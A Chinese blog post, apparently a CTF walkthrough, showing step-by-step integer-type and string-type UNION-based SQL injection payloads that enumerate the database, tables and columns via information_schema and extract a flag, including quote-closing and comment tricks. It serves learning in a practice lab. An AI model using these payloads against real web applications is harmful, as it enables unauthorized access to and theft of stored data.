zoukankan      html  css  js  c++  java
  • sql 整数型/字符型 注入

    整数型注入 

    1.检查是否存在注入

    and 1=1 返回正确
    and 1=2 返回错误

    2.猜出字段数

    order by x(数字)
    得出字段数

    3.然后就是爆数据库名,information_schema三步

    ?id=1 and 1=2 union select 1,database()

    得到数据库名称sqli

    4.爆表名

    ?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

    得到表名 news,flag

    5.爆字段名

    ?id=1 and 1=2 union select 1,group_concat(column_name) frominformation_schema.columns where table_name='flag'

    得到字段名flag

    6.爆flag

                                                                            字段名          数据库.表名
    ?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

    得到flag{hdjaldanklfk2r3rb23ry34gf82huh2u9f}


    字符型注入 

    字符型注入要考虑到 引号闭合 和 注释

    1.判断注入

    Mysql 有三种常用注释符:

    -- 注意,这种注释符后边有一个空格 一般用+代替空格
    # 通过#进行注释
    /* */ 注释掉符号内的内容

    ?id=1' and 1=1 --+ 返回正确
    ?id=1' and 1=2 --+ 返回错误

    2.猜出字段数

    ?id=1' order by 2 --+ 返回正确
    ?id=1' order by 3 --+ 返回错误
    得出字段数为 2
    下面为测试空格字符代替情况 (可跳过)
    ?id=1' order by 2 -- - 返回正确
    ?id=1' order by 2 -- / 返回正确

    3.然后就是爆数据库名,information_schema三步

    ?id=1' and 1=2 union select 1,database()--+
    得到数据库sqli

    4.爆表名

    ?id=1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'--+
    得到两个表名 news,flag

    5.爆字段名(列名)

    ?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+
    得到列名flag

    6.爆flag

    ?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag--+
    得到flag: ctfhub{1cb5c0880793e0e3c08bbe50c317902b4007e351}

  • 相关阅读:
    极大似然估计理解与应用
    逻辑回归理解及代码实现
    《剑指offer》---数值的整数次方
    线性回归理解及代码实现
    二叉搜索树(BST)---python实现
    《剑指offer》---顺时针打印矩阵
    《剑指offer》---二进制中1的个数
    《剑指offer》---输出链表倒数第k个结点
    版本控制-Git服务器搭建和常用命令使用
    hbase伪分布式平台搭建(centos 6.3)
  • 原文地址:https://www.cnblogs.com/threesoil/p/12431496.html
Copyright © 2011-2022 走看看